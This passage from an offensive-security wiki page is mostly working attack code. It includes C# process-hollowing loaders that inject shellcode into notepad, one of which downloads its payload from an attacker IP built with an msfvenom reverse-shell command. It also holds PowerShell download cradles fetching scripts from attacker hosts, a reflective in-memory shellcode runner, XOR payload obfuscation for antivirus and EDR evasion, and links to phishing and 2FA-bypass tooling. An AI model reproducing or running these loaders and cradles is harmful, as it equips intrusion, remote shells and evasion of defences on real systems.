            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode&lt;br /&gt;
            byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);&lt;br /&gt;
            // Overwrite the EntryPoint with the shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload over HTTP/HTTPS ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net.Http;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static async Task Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodeUrl = &amp;quot;http://192.168.1.126/shellcode.bin&amp;quot;; // Replace with the actual URL of the shellcode binary&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode from the specified URL&lt;br /&gt;
            byte[] shellcode;&lt;br /&gt;
            using (HttpClient client = new HttpClient())&lt;br /&gt;
            {&lt;br /&gt;
                try&lt;br /&gt;
                {&lt;br /&gt;
                    shellcode = await client.GetByteArrayAsync(shellcodeUrl);&lt;br /&gt;
                }&lt;br /&gt;
                catch (Exception ex)&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Error downloading shellcode: &amp;quot; + ex.Message);&lt;br /&gt;
                    return;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            // Overwrite the EntryPoint with the downloaded shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
== Proxy-aware PowerShell Cradle ==&lt;br /&gt;
&lt;br /&gt;
A proxy is an intermediary server that sits between a user&#039;s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.11 - Victim &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.12 - Proxy server&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up proxy ===&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== List of proxy-aware PowerShell cradles ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Net.WebClient (as you&#039;ve seen)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $wc = New-Object System.Net.WebClient&lt;br /&gt;
   $wc.DownloadString(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt; class respects the system proxy settings by default.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Invoke-WebRequest and Invoke-RestMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-WebRequest -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-RestMethod -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the &amp;lt;code&amp;gt;-Proxy&amp;lt;/code&amp;gt; parameter.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System.Net.HttpWebRequest&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $req = [System.Net.HttpWebRequest]::Create(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
   $resp = $req.GetResponse()&lt;br /&gt;
   $sr = New-Object IO.StreamReader($resp.GetResponseStream())&lt;br /&gt;
   $result = $sr.ReadToEnd()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt;, the &amp;lt;code&amp;gt;HttpWebRequest&amp;lt;/code&amp;gt; class also respects system proxy settings by default. Its behavior can be altered by changing the &amp;lt;code&amp;gt;.Proxy&amp;lt;/code&amp;gt; property of the request object.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;BitsTransfer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Import-Module BitsTransfer&lt;br /&gt;
   Start-BitsTransfer -Source &#039;http://example.com/script.ps1&#039; -Destination &#039;path\to\save&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;BitsTransfer&amp;lt;/code&amp;gt; module is used to transfer files, and it is proxy-aware. It respects system proxy settings.&lt;br /&gt;
&lt;br /&gt;
=== SYSTEM Proxy with Net.WebClient ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a Proxy Configuration for SYSTEM&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Proxy settings per user are stored in the registry at:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When accessing as SYSTEM, &amp;lt;code&amp;gt;HKEY_CURRENT_USER&amp;lt;/code&amp;gt; does not exist. Use &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PowerShell to Setup Proxy for SYSTEM Integrity&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Map HKEY_USERS registry hive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find the correct user hive based on SID:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
   ForEach ($key in $keys) {&lt;br /&gt;
       if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
           $start = $key.Name.substring(10)&lt;br /&gt;
           break&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Fetch the proxy settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create and assign the proxy object:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   [system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
   $wc = new-object system.net.WebClient&lt;br /&gt;
   $wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Full Code for SYSTEM Proxy-Aware Download Cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
$keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
ForEach ($key in $keys) {&lt;br /&gt;
    if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
        $start = $key.Name.substring(10)&lt;br /&gt;
        break&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
$wc = new-object system.net.WebClient&lt;br /&gt;
$wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; will persist across reruns.&lt;br /&gt;
&lt;br /&gt;
== Reflection Load (In-memory) ==&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.&lt;br /&gt;
&lt;br /&gt;
This code below is same as &amp;lt;code&amp;gt;Simple Shellcode Runner Powershell Ver 2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
              Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
              Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {&lt;br /&gt;
        If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {&lt;br /&gt;
            $tmp+=$_&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
        [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
            DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
            DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
            DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
            [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$lpMem =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
$hThread =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
    (getDelegateType @([IntPtr], [Int32]) ([Int]))&lt;br /&gt;
).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode obfuscation script ==&lt;br /&gt;
&lt;br /&gt;
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.&lt;br /&gt;
&lt;br /&gt;
=== Espio ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# The obfuscation method usid is xor&lt;br /&gt;
def obfuscate_payload(payload, key):&lt;br /&gt;
    encrypted_payload = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in range(len(payload)):&lt;br /&gt;
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))&lt;br /&gt;
        hex_char = hex(ord(obf_char))&lt;br /&gt;
        if len(hex_char) == 3:&lt;br /&gt;
            hex_char = f&amp;quot;0x0{hex_char[-1]}&amp;quot;&lt;br /&gt;
        encrypted_payload += hex_char&lt;br /&gt;
    encrypted_payload_bytes = encrypted_payload.encode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)&lt;br /&gt;
    obfuscated_payload = obfuscated_payload_bytes.decode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    return &amp;quot;&amp;quot;.join(obfuscated_payload)&lt;br /&gt;
&lt;br /&gt;
def generate_key():&lt;br /&gt;
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]&lt;br /&gt;
    key = &amp;quot;&amp;quot;.join(random.choices(letters, k=random.randint(100, 500)))&lt;br /&gt;
    return key&lt;br /&gt;
# In main.cpp the decryption routine&lt;br /&gt;
	int keyIndex = 0;&lt;br /&gt;
	for (int i = 0; i &amp;lt; encryptedPayloadSize; i += 4)&lt;br /&gt;
	{&lt;br /&gt;
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];&lt;br /&gt;
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scarecrow ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)]&lt;br /&gt;
&lt;br /&gt;
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process&#039;s memory. This works because we know the EDR’s hooks are placed when a process is spawned.&lt;br /&gt;
&lt;br /&gt;
[https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)]&lt;br /&gt;
&lt;br /&gt;
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.&lt;br /&gt;
&lt;br /&gt;
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com&lt;br /&gt;
# Check -h for detailed info.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellCrypt ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)]&lt;br /&gt;
&lt;br /&gt;
== Encryption Methods ==&lt;br /&gt;
&lt;br /&gt;
* AES (128-bit CBC)&lt;br /&gt;
&lt;br /&gt;
* ChaCha20&lt;br /&gt;
&lt;br /&gt;
* RC4&lt;br /&gt;
&lt;br /&gt;
* Salsa20&lt;br /&gt;
&lt;br /&gt;
* XOR&lt;br /&gt;
&lt;br /&gt;
== [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats ==&lt;br /&gt;
&lt;br /&gt;
* C&lt;br /&gt;
&lt;br /&gt;
* C#&lt;br /&gt;
&lt;br /&gt;
* Nim&lt;br /&gt;
&lt;br /&gt;
* Golang&lt;br /&gt;
&lt;br /&gt;
* Python&lt;br /&gt;
&lt;br /&gt;
* Powershell&lt;br /&gt;
&lt;br /&gt;
* Visual Basic for Applications (VBA)&lt;br /&gt;
&lt;br /&gt;
* Visual Basic Script (VBS)&lt;br /&gt;
&lt;br /&gt;
* Rust&lt;br /&gt;
&lt;br /&gt;
* Raw&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode injection techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
From github: &amp;quot;A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Assembly Injection&lt;br /&gt;
&lt;br /&gt;
* Shellcode Runner&lt;br /&gt;
&lt;br /&gt;
* Classic Injection&lt;br /&gt;
&lt;br /&gt;
* Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Local Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Asychronous Procedure Call Injection&lt;br /&gt;
&lt;br /&gt;
* Process Hollowing&lt;br /&gt;
&lt;br /&gt;
* Inter-Process Mapped View&lt;br /&gt;
&lt;br /&gt;
* Atom Bombing&lt;br /&gt;
&lt;br /&gt;
== Shellcode Encryptors ==&lt;br /&gt;
&lt;br /&gt;
=== Shellcode Encryptors - Helper code ===&lt;br /&gt;
&lt;br /&gt;
